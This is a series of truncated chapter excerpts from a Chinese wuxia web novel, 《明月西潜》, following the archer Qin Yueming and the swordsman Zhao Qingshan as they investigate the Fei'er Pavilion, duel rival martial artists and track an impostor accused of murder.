赵青山手指拂过刀锋,眼睛却注视着秦月明:“此刀名为‘七星高’。” “‘北斗七星高,哥舒夜带刀。*’好一派英雄风范。”秦月明轻笑赞道,不着痕迹地避开他的目光,道,“此间事了,我们也该出去了。” “不急。”赵青山移开视线,看向四周,“如此人间秘境,难得一见,不知秦寨主可否容我参观一二?” 此处最大的秘密便是七柄神兵,其他倒无甚值得隐瞒的东西,秦月明只愣了愣, 16. 楚塞巴山横渡口 《明月西潜》全本免费阅读 听声音,那群人还在大巴山外围,亏得两人内力深厚,才能将他们的对话听得一清二楚。 听闻他们似在追捕什么人,秦月明轻扬眉梢,略有些好奇。 但眼下探究飞耳阁的阴谋比较紧要,她踩在塌陷的断崖上,看向其中露出的洞口,赵青山落在她身旁,神色警惕。 思及方才听到的机关之声,两人并未贸然进洞,秦月明捡起几块石头抖腕掷进幽深的洞穴,石头撞击洞壁的声音清晰可闻。 下一瞬,一道道利箭从洞口|射出,铺天盖地,箭尖泛绿,显然是淬了毒。 两人在听到洞中那微不可察的机关运转之声时,便不约而同地腾身而起,落在旁边的一棵高树上,躲开利箭。 这些机关利箭射了一阵后不再有动静,两人落回地面,秦月明眉头紧蹙:“飞耳阁到底在其中放了什么东西,从洞口便开始布置这般恶毒且不惜成本的机关。” “要进去么?”赵青山只问道,面上毫无惧色。 “洞中只怕还有无数机关,倘若我们一直以蛮力破之容易损失线索。”秦月明沉吟片刻,道,“荀风擅机关之术,且待他伤愈后来此地破解机关,赵大侠意下如何?” “你那位擅长刑讯的属下?他倒是博学多才。”赵青山眼中闪过微不可察的不悦,但并未反对,“就依你之言罢。” 两人达成共识,直接转身离开,懒得对塌陷的断崖做掩饰。 飞耳阁人离开时既消除了痕迹,还毁了开门机关,表明他们短期内不会再来。 而且,若是他们听到了方才的动静派人前来察看,也算正中两人下怀。 “我出去后便派人盯紧飞耳阁的动静,看他们之后有何动作。”赵青山道。 秦月明也道:“我会尽快给荀风传讯。” 纵然飞耳阁发现石窟已毁,重修或转移其中东西都需要时间,大不了两人直接出手抢一回,算不得什么麻烦事。 两人行至山林外围,竟又听到之前那群人的动静,听声音正在他们前方的必经之路上。 秦月明不想与人照面,顿住脚步。 赵青山则是直接跃上高树,观察那边的场景,不知看到了什么,眉头一皱,飞身出去,不一会儿便提着个浑身是血的人回来。 “姜良?”看清此人的模样,秦月明一惊。 “寨主!”看到秦月明,那人哇的一声哭了出来。 他遍体鳞伤,身上衣衫洇着一团团血迹,狼狈又可怜,手里死死抓着一把铁弓,正是思君弓。 秦月明怒声道:“怎么回事?那些人要抓的是你?” 万幸的是,这些伤都避开了要害,并未造成十分严重的伤势,秦月明却是因此越是检查越是愤怒,这样的伤口绝非巧合所能造成的,必是伤人者有意戏弄,如猫戏老鼠,恶劣至极。 赵青山将人丢给秦月明后又离开了,片刻后,秦月明才见一群人被他赶鸭子似的赶了过来。 眼前总有八人,除却一人穿了身蓝布袍,其余几人都是粗布短褐,衣上还有不少补丁,手脚粗大,不像习武之人。 不过秦月明能感觉出他们体内澎湃的内力,而且手中还各拿着一张做工不错的弓,显然有些本事,不然也无法将天生神力的姜良迫害到这般地步。 秦月明从姜良手中拿过思君,将伤药递给他,吩咐他自己上药止血,随后起身,眼中闪过一抹狠厉,冷声道:“你们好大的胆子,竟敢伤我白马寨弟子。” “什么白马寨,有我们巴山派厉害吗?”身着蓝布袍的为首之人语气凶狠,但目光闪烁不定,颇有些色厉内荏的味道。 西南大大小小几百个门派秦月明都如数家珍,根本未听过有什么巴山派,倒知道有个巴山堡,却是在大巴山另一头,与此地千里之隔。 她挽弓搭箭,一箭流星,钉到十几丈开外一棵水缸粗细的树干上,瞬间在上面炸开一个人脑袋大的坑,细细的木屑随着落叶一起飘舞下来。 蓝袍人额上冒出细密的冷汗,他周围的同门也是两股战战,几欲昏死过去。 秦月明收起长弓,再次看向这群人,眼神冰冷:“我不想跟你们掰扯废话,我问什么,你们答什么,明白么?” “明、明白。”蓝袍人战战兢兢道,不敢再多说一个字。 他的同门们也哆哆嗦嗦急忙点头,生怕慢了一秒就步树干的后尘,他们可不想用自己的肉身去和树干比硬度。 看着这样气势惊人的秦月明,赵青山眼中浮起无法掩饰的热切与激赏。 姜良有些伤口够不着,正想向赵青山求助,便看见他的这副眼神,莫名觉得有些不敢打扰,犹豫了片刻,才敢出声。 “啧。”听到他的请求,赵青山斜睨过来一眼,眸中满是不耐,但在瞥了一眼秦月明后,还是接过了药瓶。 秦月明审问完那群巴山派人,一回头,便见姜良低眉搭眼地坐在地上,整个人透出一股子灰败。 再看赵青山,正举着七星高,专注地观察摩挲刃面,一副一切都与他无关的架势。 “你伤势如何了?”秦月明满头雾水,又不知从何问起,只好先关心起姜良的伤势。 “伤口没什么大碍,就是有些头昏。”听到秦月明的声音,姜良略微打起精神,回答道,语气略带虚弱。 “想是因失血过多,损了元气。”秦月明忖度一瞬,看向赵青山,“赵大侠,不知可否让姜良去你的山庄休养两日?” 赵青山顺势收刀看过来,道:“可以。” 他语调轻快,不带丝毫嘲讽,与往常大不相同。 自之前那场天坑对决之后,秦月明便隐隐察觉他身上发生了某种变化,又仿佛下定了某种决心,面对自己时再没了那种浑身冒刺的态度。 这种不可捉摸的变化让她有些心神不定,但又抓不住头绪。 不过如今并不是操心这些的时候,秦月明看了看眼前的情形,点了那蓝袍人的穴道,对赵青山道:“劳烦赵大侠将其他人与姜良一起带走,我让此人带路,去会一会那位巴山派帮主。” 赵青山注视着她手握思君弓,神色愠怒的鲜活模样,眸中掠过一缕痴迷的幽光,颔首道:“还望寨主快去快回,我 17. 若有人兮山之阿 《明月西潜》全本免费阅读 虽然秦月明曾在心中嫉恨沈潜那堪称绝伦的习武天赋,实则她自身资质放眼整个江湖也算是顶尖中的翘楚。 她年方三十二,在武林中算是少壮之辈,功夫却已臻化境,除却一些老前辈外,在内力一道上能与她相当的人也不足一掌之数。 ——不曾想今日竟遇上了一个。 秦月明讶然一瞬,来了些兴致,正待仔细观察他的武功套路,无奈目光一落到他身上,便觉眼睛难受,那点微末战意也消退了去。 她索性放弃,只看准他的大概位置,勾弦之间,内力迸发,一道道无形利箭砸了过去。 宋公子见她不取箭便拉弦,轰然而笑:“美人儿,你是为我的风姿倾倒,要不战而降么?” 话音未落,他就觉心口一痛,仿佛被利箭穿透,顿时反应过来,内力透体而出,环绕周身,随后他便感到一道道无相无形的内力扎进自己的内力中,游走不休,好一会子才被消解。 幸而他内力深厚,不知不觉间将第一道内力之箭的威力消解了大半,才未造成多大伤害。 不过经此一遭,宋公子也猜出了秦月明的身份,毕竟江湖上人尽皆知,内力化箭是秦月明的独家绝学,旁人根本无法效仿。 “金仆姑。”他脸上笑意微敛,藏起垂涎之色,将视线投在秦月明手中的硬弓上,眼中划过一抹恍然,“原来那小子真是白马寨的人,可惜。” 秦月明并不想知道他在可惜什么,抬手又是一波无形箭雨。 与此同时,宋公子也弯弓放箭,箭枝带着澎湃的内力呼啸而来,仿佛流星天坠。 两股内力在途中相撞,僵持片刻轰然迸开,掀起巨大的气浪。 秦月明高高跃起,借力一滞,勾起弓弦蓄力一击。 宋公子见她动作,飞速拍出几掌,利用强大的内力将那道攻击消解在了半空,又射出几支箭枝,被秦月明挥弓格飞。 趁秦月明格箭之时,宋公子猝然接近,挥弓劈来。 秦月明眉心骤蹙,连退十多丈,再顾不得许多,飞快从腰间拽出白玉长笛吹响。 宋公子正欲乘胜追来,便闻一阵幽咽之声,顿时警觉:“音攻之术?” 他快速自袖中掏出一个铃铛,灌注内力摇晃起来,清脆的铃铛声很快压过了笛声,他不由面露自得,下一刻却又闻笛声呜咽悠扬着盘旋着钻入耳中。 “这不可能!”他看着毫无异样的秦月明,惊声道,更加卖力地摇晃着惑心铃。 当今武林,公认最好的音攻心法乃少林的梵音诀,但三十多年前,少林名僧清武以梵音诀对抗“美人蛇”陈花饶的惑心术,不幸落败,被掳掠进长乐城,直到仙客罗赞破城而入,少林之人才得以将其带回。 因此,若真论起来,惑心术才是名副其实的江湖第一音攻术。 宋公子此前以祸心铃对敌,从未见过毫不动摇之人。 秦月明神色清明,横笛吹奏。 实际上,她教授给陈书灯三人的《山鬼歌》除了破解祸心术,别无他用,根本称不上“音攻”。 笛声飘荡幽咽,仿佛夜风过岗,山鬼幽啼,动人心神。 ——这才是真正的《山鬼歌》。 她回想起幼年与秦笃流浪路过一处山村,村人言山中有鬼夜哭,秦笃带她夜入深山,听山风穿谷,如泣如诉,确如鬼哭。 当时的秦笃被祸心术折磨,凭着最后的清明将秦月明从长乐城带走,却在半途陷入癫狂,神志不清、言行无状。 而听得此鬼哭之声后,秦笃竟从祸心术中清醒了过来,第一次对秦月明说话: “今夜月照千山,明光万里,我便为你取名‘月明’罢。只愿你以后能如这高天明月一般,皎洁无尘。” 秦月明不知他是以何种心情说出这番话,但那夜月光的确无比皎洁,那不绝于耳的鬼哭之音也让她印象深刻。 宋公子的笛声慢慢细弱下去,直至悄然。 “哐当!” 他神色空茫,手上的弓箭、铃铛俱掉到了地上,也不曾理会。 山鬼之哭,引人入迷;山鬼之歌,洗人心志。 秦月明摩挲笛身,看着宋公子无神的双眼,神情复杂。 她的音攻只针对了宋公子,其他人都清醒着。 李老三眼看着两人打着打着又吹笛摇铃起来,正自不解,就见自家帮主直直地愣在原地,把武器都丢了,跟没了魂儿似的,不由惊恐万状:“你、你对宋公子做了什么?” 他虽是在问秦月明,却是连眼神都不敢往她身上放,生怕也不明不白丢了魂。 秦月明微微侧头望过来,眉梢一扬:“你还没跑?正好,去把你家帮主捆上。” · “大人、大人恕罪,属下一时疏忽……” 黑衣男子跪在地上,神色惨白地不停磕头。 “滥赌成性,贻误军机。”赵青山擦拭着七星高,看也未看他一眼,淡声道,“来人,拖下去,斩。” 很快便有人进屋,拖走了黑衣男人。 “大人,大人——” 男人的叫声渐渐远去,山庄管家捧着五个长条木盒进入书房,恭声道:“大人,这是库房内现存的几柄刀鞘,请过目。” 在赵青山选刀鞘之时,管家又禀报道,“厨房来报,为秦女侠熬的药快冷了,不知……” 赵青山略一思索,道:“让厨房再熬一副,眼下这副给姜良送去。”反正是补药,吃不出毛病。 “是。”管家应道,“还有一事,小姐离开前令我联系许公子,向他要一副最好的易容,赠给秦女侠。” 赵青山选了一柄黑色兽皮材质的刀鞘,正收刀细看,闻言一顿,怔了一下才道:“金仆姑算得书灯半个师父,她自然上心,你照做便是。” “是。”管家收起刀鞘盒子,躬身而立。 “那群巴山派之人如何了?” “已命庄中医师前去检查,发现他们的内力的确有些古怪,正在细细研究。” · “研究什么?”李老三扛着自家帮主跟在秦月明身后,惊疑不定,“我身上有什么值得研究的?” 他已知晓秦月明来历非凡,对她的话不敢等闲视之。 “此人给你们吃的丹药并非什么好东西,”秦月明解释道,“若内力这般易得,我们江湖人还这般辛苦地夏练三伏冬练三九做什么?” “不可能!”李老三尖声道,“我吃了那药好好的,气力也变大了……” 他细数着吃过丹药后的好处。 秦月明并未戳破他的侥幸,沉默听着。 李老三絮叨完,沉默良久,道:“我、我们会死么?” “不知。” 随后两人便如此一路无言到了赵青山的山庄,秦月明将李老三与宋公子交给管家,正想去看望姜良,却听闻他喝了补药已歇下,只好作罢,转道去找赵青山—— 无忧门一事干系重大,还有陈书灯牵涉其中,赵青山这个义父想必也心怀 18. 庙堂无策可平戎 《明月西潜》全本免费阅读 金州,石泉县,云来客栈。 夏日骤雨,将许多人堵在客栈之中,百无聊赖之际,好几个人冒雨冲了进来,面上满是奇异的亢奋。 “大消息!大消息!” “此次武林大会改在恒京举行,由朝廷亲自出面筹办!” “据说届时还会选出德高望重之辈,组成武林盟,管理江湖事宜。” 此言一出,满堂哗然。 “此言当真?!” “武林盟?咱们不是有武林盟主么?” “嗨呀,朝廷承认的,肯定跟咱们自己选出来的不一样。” “这不是让人当朝廷鹰犬么?” “我们江湖上的事,何时轮到朝廷做主了?” “这不是让江湖人管江湖人么,如何称得上‘鹰犬’二字?” …… 如此种种,议论纷纷。 客栈二楼,手持长弓的秀美女子敛下眉眼,若有所思。 一道恶风袭来,女子素手轻拂,那倏然而来的茶杯便在半空滴溜溜打了个转,砸回了人群之中。 原来下方之人争论着生出火气,竟自口舌之争发展到拳脚相加的地步。 ——那茶杯正是无意中从战圈中飞出。 茶杯坠|落在地,杯身萦绕的内劲迸发开来,将周围的人攘了个东倒西歪。 “谁?” “什么人?” 众人惊慌四顾。 女子徐步下楼,看向带来消息的几人:“这些消息,你们是从何得来?” 那几人面面相觑了一番,最后推出一人回答了女子问题:“是、是飞耳阁传出来的。” “飞耳阁?”女子眉心微蹙,骤然反身挥出一掌。 掌风过处,几十支飞镖被扫到四面墙上。 人群中极快地飞出七条身影,手持兵刃杀向招式用老、收势不及的女子,女子避无可避,眼看即将血溅当场—— “咚!”“哗啦!” 女子周身迸发出强横的内力,巨大的冲击之下,七条人影倒飞出去,狠狠砸在客栈的地面、桌椅之上。 随后只见女子挽弓搭箭,七支箭矢如流星般掠过。 这一切发生在电光石火之间,待旁边之人反应过来,那七人已被箭枝结结实实地钉在原地。 “商山七虎?”有人认出了七人。 商山七虎是江湖上小有名气的恶人团伙,曾于商山落草,劫杀过路之人,后商山被官府派兵围剿,惟这七人武功高强,杀出重围,流落江湖。 因惯于抢掠为生,遭此巨变后,七人不但没有分毫收敛,反而愈加丧心病狂。 他们将目标放在偏僻城镇的富贵人家,常常是先作为下人潜进去打探好消息,再寻良机暴起,肆意奸|淫掳掠,最后在官府或附近正道赶来前扬长而去。 偏这七人生得憨厚老实,隐遁入人海中丝毫不起眼。若不是一户受害人家的出嫁女不懈追查让他们现了形,只怕江湖上又会多出一系列无头血案。 自那以后,七人便上了正道与官府的联合通缉,同时“商山七虎”的名头也响了起来。 那出嫁女当初悬赏江湖,以黄金五十两买商山七虎的人头,及至如今,她已成一府老祖宗,更是将赏金追加到了黄金三百两。 众人忆起此节,看向七人的眼神顿变。 七虎中的头虎看出众人眼中的贪婪,又看向不远处好整以暇的女子,一咬牙大喊:“她是飞耳阁悬赏的那个女人,抓住她,你就能获得一千两白银和齐王宝藏的线索。” 在场之人脸色又是一变。 十几日前,横行客与一神秘女子在巴山城与飞耳阁起了冲突,之后飞耳阁总阁便对两人下达了悬赏。 不过随后横行客又劈了几座飞耳阁分阁,态度嚣张,飞耳阁无法,只得认错服软,撤销了对他的悬赏,并赔礼道歉,却同时加强了对神秘女子的追缉。 他们虽未直接追杀神秘女子,但派出了阁中蚁卫,专程追踪女子,为接下悬赏之人提供线索。 此次商山七虎之所以能恰好埋伏至此,正是因接到了飞耳阁的传讯。 “齐王宝藏?”女子——秦月明视其他人隐晦的打量若无物,眼神古怪地重复了一遍自己新增的身价。 能与“宝藏”二字扯上关系的齐王,便只有四十多年前因谋反被当今天子下令诛杀的那位。 那位齐王名为陈暿,乃当今天子之叔、先帝的同胞兄弟,先帝十分信任他,命其镇守蜀地。孰料陈暿暗中勾结当地官员,蓄养亡命之徒,窝藏匪盗,创立“擒鹤山庄”,收敛财富。 时有“擒鹤一斛,天下丰足。”的谚语,意为擒鹤山庄随意露出的财富,便能养活整个天下,虽有些虚夸,却足见擒鹤山庄之富。 后来擒鹤山庄被查抄入了国库,不过暗地里一直有传言,当时陈暿眼看事败,已准备逃走,并命人自擒鹤山庄悄悄运出部分财物,以期东山再起,不过随着陈暿伏诛,这些财宝也不知去向。 ——这便是“齐王宝藏”的由来。 而这四个字也激起了秦月明的回忆,她想起那日在大巴山中所见的鹤纹,正是她小时候见过的擒鹤山庄标志。 莫非飞耳阁与擒鹤山庄,乃至那位齐王有关系? 她脑中冒出这个念头,又飞快否决。 当初陈暿谋逆事发,麾下势力皆被除了个干净,纵然有一两条漏网之鱼,也绝无可能成就飞耳阁这样的气候,毕竟当今天子可不是什么昏庸无能的帝王。 暂时未有头绪,秦月明只好将思绪抽回,应对当前的局面。 商山头虎那一声喊,让秦月明也成了一块香馍馍,在一千两白银和宝藏面前,已有人忘了她方才展露出的武功有多高强。 “一个无名之辈,武功再高能高到哪儿去?大伙儿一起上!”人群中,不知是谁高呼道。 霎时便有各色暗器扑面而来,随后好些人冲了过来。 客栈狭窄,秦月明避无可避,视线不得不对上这些人狰狞丑陋的面孔,眼中闪过嫌弃—— 这便是她不喜与人近身打架的原因,容易被丑到。 明亮的刀光带着雨水的气息划过半空。 “叮!”“咚!”“咚!”…… 一道高大的身影伴随着暗器与尸体落地声踏进客栈。 “赵大侠。”不必跟一群丑人打架,秦月明的语气中带着几分喜意。 赵青山提刀跨过地上的尸体,走到秦月明身旁,神色不甚好看:“你倒是好脾气,这般由着人踩到头上。” 秦 19. 两心之外无人知 《明月西潜》全本免费阅读 “沈寨主已赶赴恒京。” 骤雨后的城镇一片沁凉,秦月明见时间差不多,便出了云来客栈,准备去藏春楼,赵青山默默跟上,忽然冒出一句。 日入时分,倦鸟归巢。 秦月明的视线随着路过的一只飞鸟远去,直到它消失在天边好一会儿,才收回目光,垂眸轻声道:“武林大会乃江湖盛事。” 赵青山瞥见她眼中的落寞,眉心一拢,脸上掠过一缕动摇,最终归于坚定,状似不经意道:“白马寨中能人众多,秦寨主怎孤身一人出来办事?沈寨主也是冷情,只让人送了张弓便不过问了。” “秦某私事,何必劳师动众。”秦月明觉得他的语气有些古怪刻意,奇怪地看了他一眼,才回道。 至于她与沈潜之间,纵然已成一团剪不断理还乱的乱麻,也只是两人之事,与旁人无干。 “是么。”赵青山讪然道,不再多言。 一路无言至藏春楼,飞耳阁之人已在楼中等候。 “赵大侠、沈女侠,幸会幸会。”见两人进门,雅间内的人纷纷起身,为首的儒雅中年男子拱手道,“鄙姓常,乃金州飞耳阁阁主。” 赵青山懒散抱刀还礼,秦月明眼尾一挑,语气平淡:“一州阁主亲至,沈某真是受宠若惊。” 飞耳阁分阁体制极类朝廷的地方行政划分,以京城的总阁为中枢,其下分阁分布在各道州县,一道分阁下辖州分阁与县分阁,州阁又可统县阁。 州阁阁主地位只在总阁主与十大道阁阁主之下,纵然秦月明以真实身份前来,也得不到这样的招待。 毕竟作为江湖上一家独大的情报组织,飞耳阁向来作风高傲,纵然开门揖客也摆足了架子,之前向横行客服软可是惊掉了许多江湖人的下巴,秦月明没想到他们面对自己这个小角色竟也客气起来。 之前她让人传讯给飞耳阁只是想占据道义,心中已做好飞耳阁不理会的准备,却收到了对面答应会面的消息。 不过她转念一想,便知是沾了赵青山的光,毕竟赵青山出现前,飞耳阁对她可不曾对她手软过。 接下来的情形不出秦月明所料,众人入座后,那位常阁主朝她展露出五分客气,向赵青山却展现出了十二分的殷勤,言辞间尽显敬畏,让秦月明对赵青山的身份有了更为确凿的猜测。 赵青山不耐烦听旁人的恭维,在对面准备向他与秦月明敬酒时,他敲了敲桌面,道:“别废话,说正事。” 飞耳阁人面上闪过一丝难堪,只有常阁主脸色如常,果真说起了正事:“继续悬赏沈女侠之事,乃蜀州阁主一力促成,与我等实不相干,还望两位明察。” “是那位包庇凶徒‘秦笃’的成阁主么?”秦月明轻轻一笑,字字带刀,“犯下如此大错,竟还能忝居阁主之位,实在让沈某大开眼界。” 容隐“秦笃”事发,飞耳阁总阁飞速传出消息,言此举乃蜀州分阁阁主见利眼开,方有此纵容之举,其他分阁毫不知情。 ——之所以不推到巴山城一分阁身上,是因赵青山公布了飞耳阁在西南的其他分阁隐匿‘秦笃’的证据,让飞耳阁不得不弃车保帅,防止情势蔓延,影响江湖中人对飞耳阁的感官。 秦月明此话一出,在场的飞耳阁之人脸色又是一变,有人神情愤然,有人眼神躲闪。 常阁主笑脸一僵,顿了顿才泰然自若道:“成阁主乃我阁中老人,劳苦功高,此次不过一时鬼迷心窍,总阁已惩戒过他了。” “惩戒?”秦月明冷笑一声,“贵阁惩戒的结果便是此人仍身居高位,并且还有闲心朝沈某追加悬赏么?” 她语气中满是嘲讽,刺耳得很,有人一拍桌子,正欲起身反驳,被赵青山反手一刀柄点了穴,维持着半站不站的姿势定在原地。 “赵大侠。”常阁主见赵青山出手,神色一紧。 秦月明微微垂眸,喝了口茶润嗓,尔后若无其事继续道:“‘秦笃’逃匿,飞耳阁难辞其咎,贵阁难道不思补救么?” 闻言,常阁主眼中闪过一丝为难:“秦笃自逃出巴山城后便不见踪影,鄙阁也无计可施啊!” “是么。”秦月明淡淡道,忽地转了话锋,“那便说说此次武林大会之事罢。” · “两位慢走。”常阁主一行人周到地送秦、赵二人出酒楼,“在下回去便会命人取消对沈女侠的悬赏,并奉上赔礼,不知应当送到?” “十里山庄。” 秦月明正欲回答,赵青山却抢了先。 她这些天在此处盘桓,对本地的名人胜景也算有些了解,赵青山所说的“十里山庄”位于石泉县城东,占地极广,据说是一位官老爷的别邸,庄中遍植牡丹,因此又被当地人叫作“牡丹山庄”。 “这位官老爷便是你么?” 秦月明找了个帮闲去云来客栈传讯退房,跟着赵青山穿街绕巷,前往十里山庄。 赵青山沉默片刻,承认道:“是我。” “太好了。”秦月明并未继续试探,转而笑吟吟道,“我之前路过便闻得花香阵阵,可惜难以分身一观,不知如今庄中可还有牡丹盛开?” “自然有的。”赵青山道。 这时,不远处的山林中禽鸟振翅,鸣声阵阵。 两人顿住脚步,抬眼看去,片刻后不约而同地收回目光,对视一眼。 “两个人。” “跑了。” · 杜留晖攥住陈宓的手臂,将她拽出了林子。 “干什么?”陈宓揉着手臂不满道,“难道你不想杀赵青山了?” “我当然想。”杜留晖脸色难看,“但今天肯定已不成了。” “为什么?” “那个女人是秦月明!”杜留晖焦躁不已,“她不是应该在白马寨么,怎么会跟赵青山凑到一起?” “秦月明?”陈宓一愣,眉心一蹙道,“金仆姑秦月明?” “正是她。” 陈宓脸色也难看起来。 几日前,江湖上传出消息,金仆姑将可破祸心铃的音攻之术《山鬼歌》授于江湖同道,以遏制无忧门之害,秦月明之名再次传遍江湖,满载声誉。 对于无忧门来说,这却是个噩耗,他们势力本就不算盛,以往依靠惑心铃才能与武林抗衡一二,如今这个倚仗却不 20. 破镜重圆人在否 《明月西潜》全本免费阅读 晨曦微露,禽鸟叽喳。 秦月明伸手拂去几朵牡丹上的露珠,花枝摇曳,漾起阵阵花香。 庄中之人还算可信,因此她今日并未用上易容,此时朝晖笼罩,芳容花面相映,轻易便令旁观之人如痴如醉。 赵青山站在廊下,看着这一幕,目光幽深。 “赵大侠。”秦月明看到他,颔首致意。 “……我有要紧事,需赶往恒京,特来告辞。”赵青山呆愣片刻,才垂眼道。 秦月明的视线扫过他握刀的手,在他那用力到泛白的指节上稍作停留,沉吟一瞬,道:“是否遇到了什么难题,可有我帮得上忙的地方?” “不,不用。”赵青山身体紧绷了一霎,又徐徐放松,抬眼深深注视着秦月明,缓缓道,“是赵某的私事。” “是我唐突了。”秦月明有些不自在道。 “秦寨主觉得,破镜重圆后,一切能如镜破之前么?”赵青山沉声问道。 他此问突兀莫名,却让秦月明不由自主想到自己与沈潜的情形,心头一酸,沉默片刻,声音微哑道:“自是不能的。” 沈庄血案虽不是秦笃所作,但沈家灭门一案人证物证俱全,并非有人假冒所能辩驳。她感情上相信秦笃,理智却无法狡赖。 这也是秦月明离开白马寨的原因,沈庄血案血淋淋地撕开了两人之间平和的假象,纵然沈潜因着两人的情分掩耳盗铃,她却无法自欺欺人。 她亲历过秦笃的癫狂,深知日日对着仇人之女到底有多煎熬。 “是啊。”赵青山道,声音更近喃喃自语,“不若碎到底,再铸新镜。” 秦月明心尖无端一颤。 “我走了。”赵青山举目看过来,眼睛明亮得不正常。 “……等一下!”秦月明心底不安蔓延,但也顾不上许多,踟蹰片刻,回房取出一个小巧玲珑的竹笼递了过去。 “这是?” “我炼的蛊。”秦月明赧然笑道,“大侠助我良多,我现下两袖清风,无计报答,只能送此物以表感谢。” 她自小受赵云乡这位蛊术大家抚养,后又经寨中炼蛊之风熏陶,耳濡目染之下,蛊术也不差,只是因嫌虫子难看,不常动手罢了。 “此蛊将成,多喂些珍药毒虫,有望破茧成蛊王,只是我手头拮据,只能由大侠自己筹谋了。”秦月明有些羞惭道。 赵青山眼中异彩连连,三步做两步抢上前来,接过蛊笼,语气昂扬:“多谢,我定好好养它。” “还需大侠以内力喂养,使其认主。”秦月明补充道,“大侠知如何喂养么,不若我……” “我知道。”赵青山脱口道。 两人又闲聊了几句炼蛊相关,赵青山便离开了。 秦月明立在园中,伸手入袍袖,取出一张写满墨字的纸张,眼中闪过狐疑不解。 如今江湖中的蛊术,大都是用气味、声音等操纵蛊虫,以内力喂养蛊虫,使其认主乃赵云乡的秘法,不曾传与外人,她手中的蛱蝶蛊王都是经她二次炼制认主而成,赵青山是如何学会的? 赵青山,“赵”? · 赵青山走后不久,飞耳阁赔礼便到了山庄,那位金州分阁阁主亲自上门,还带来了一个重大消息。 “秦笃现身?”秦月明眉梢轻挑,“消息确实么?” “确凿无疑。”常凤歌神色肃然道,“如此凶徒,鄙阁自不会放任逍遥,昨日还未有消息,故而不曾应下女侠要求,今晨一得消息,在下便想到来通知女侠了。” 他言辞恳切,信誓旦旦,若非秦月明已知内情,说不定还真信了他的鬼话,但现在,她只从中嗅到阴谋的气息。 “多谢阁主,事不宜迟,我这便启程前去追杀此獠。”秦月明疾言厉色道。 “此乃鄙阁分内之事,何须言谢。”常凤歌十分客气,状似不经意问道,“不知女侠与秦笃有何恩怨?” 见秦月明面带疑色看过来,他呵呵笑道,“鄙人做情报生意惯了,各种消息都想听一耳朵,女侠若是不想说,便是鄙人冒犯了。” “没什么不好说的。”秦月明满面恨色,“我的兄长是白马寨弟子,在沈庄血案中丧命于秦笃剑下。” “原来如此。”常凤歌恍然道,又与秦月明客套了几句,便起身告辞。 · 金州城,飞耳阁顶层。 一名弟子向常凤歌禀报道:“上洛弟子来报,沈姓女子已到龙驹寨。” “白马寨呢?” “也到了。” “好。”常凤歌神色沉凝,“吩咐乙三,动手。” “是。” · 愈近恒京,城镇便愈发繁华,而当地江湖门派的势力也愈盛—— 也许门下弟子武功稍有不足,但背后靠山却是足够深厚,让人轻易不敢招惹。 龙驹寨便是这样一个门派,该门派与当地县城同名,创建不过八|九年,已发展得根深叶茂,盖因其寨主武皓曾是惠亲王府中侍卫,与武阳郡王有旧。 惠亲王因救驾身亡,其一双儿女分别获封郡王、郡主,后来那位郡王自请带兵镇边,在两年前昆夷犯边之时立下赫赫战功,得封号“武阳”,深受天子宠爱。 有这样一座靠山,龙驹寨上下作风都是一派骄矜,是以当秦月明听那位常阁主说秦笃将会到此,便已觉出他的不怀好意。 但无论这位“秦笃”是真是假,秦月明都不可能就此罢休,无奈武皓可能是当初做侍卫的习惯作祟,将龙驹寨各处防卫得严严实实,她暗中进去转了几圈都一无所得,又不想闹出太大动静。 正当秦月明烦恼之际,忽闻不久后是武皓的五十大寿,龙驹寨将大办宴席,人手不够,便准备采买些丫鬟小厮。 这正给了秦月明浑水摸鱼的机会,她找到一户被龙驹寨选中女儿的人家。 “一百两,让我顶替你女儿的身份进龙驹寨。”秦月明直接递出一张银票。 这户人家的男主人早逝,留下女主人将两儿一女拉扯大,眼下大儿子正在城中客栈跑堂,小儿子本在当木匠学徒,却因意外受伤,急需救治,才不得不将女儿卖去龙驹寨伺候人。 对于这样的穷匮人家来说,龙驹寨已算是好去处了。 女主人头发花 21. 假金方用真金镀 《明月西潜》全本免费阅读 “小丫鬟,不好好做事在这偷懒,小心被扣月钱。” 俊秀男子抱刀而立,笑容戏谑。 “阳素名,”秦月明已经习惯易容被熟人一眼认出,懒得理会对方的调侃,单刀直入,“你怎么在这里,香枝呢?” 阳素名笑容一收,撇嘴道:“回白马寨了,你又怎么在这里,还当上小丫鬟了?” 这些年因元香枝之故,阳素名为白马寨东奔西走,也算秦月明半个心腹,她只犹豫片刻,便将假秦笃之事悉数告知。 “……那假秦笃手中确是斩鲸剑,他一定知晓真秦笃行踪。”秦月明神色有些忧悒。 “麒麟郎乃一代名侠,此人却以其身份行凶作恶,绝非善类,恐怕真的麒麟郎已是凶多吉少。”阳素名点出她的担忧。 秦月明凝眉长叹:“正是。” 阳素名到白马寨时秦笃已不见踪影,但也知当初正是有这位副寨主一力扶持,秦月明才能将动荡飘摇的白马寨经营到如此地步,算得上整个白马寨的恩人了。 正因如此,沈庄血案发生后,白马寨很是人心浮动了一阵子,最后被沈潜的雷霆手段压了下来。 想到此处,阳素名眸中不易察觉地闪过一抹阴翳,抬眼依旧眉目疏朗:“你不会打算一直这么当丫鬟罢?武皓是我师兄,我去跟他说一声,让你在龙驹寨住下守株待兔——放心,不会泄露你身份。” “不必。”秦月明推却道,“不知飞耳阁有何谋算,我如今身份正好暗度陈仓,轻举妄动容易打草惊蛇。” “好罢。” · 武林大会改换到恒京筹办,为让各路江湖人士能赶上,还推迟了些时日,正在武皓五十大寿后不久。 恒京离龙驹寨不远,赶赴武林大会的江湖门派接到龙驹寨请帖后大都会卖个面子,前来赴宴,待贺寿之后再往恒京。 其中包括白马寨。 秦月明从阳素名口中听到这消息时,默然片刻,才道:“白马寨来了哪些人?” “沈寨主、卫堂主、荀堂主,并十几位菁英弟子。”阳素名道,“姜良也在,据说他现在又成了沈寨主的小跟班,十分受信任。” “他本就是小孩子心性……”秦月明莞尔,话说一半,便听远处传来惨叫声,正想前去查探,霍然忆起自己眼下还是伪装状态,只好看向阳素名。 阳素名提刀起身,也许因事关同门师兄,他神色难得正经起来:“我去看看。” · “苗艺死了,一剑穿心。” 看到阳素名凝重的表情,秦月明心头冒出不祥,阳素名接下来的话映证了她的预感:“是斩鲸剑。” 她用力闭了闭眼,按下心头沸腾的怒意,咬牙道:“他终于出现了。” “山上鹰”苗艺与武皓有些交情,来此之后顺势便在龙驹寨中住下,没想到竟遭此杀身之祸。 斩鲸剑剑痕鲜明,又有沈庄血案在前,这桩命案便也顺理成章地扣到了秦笃身上。 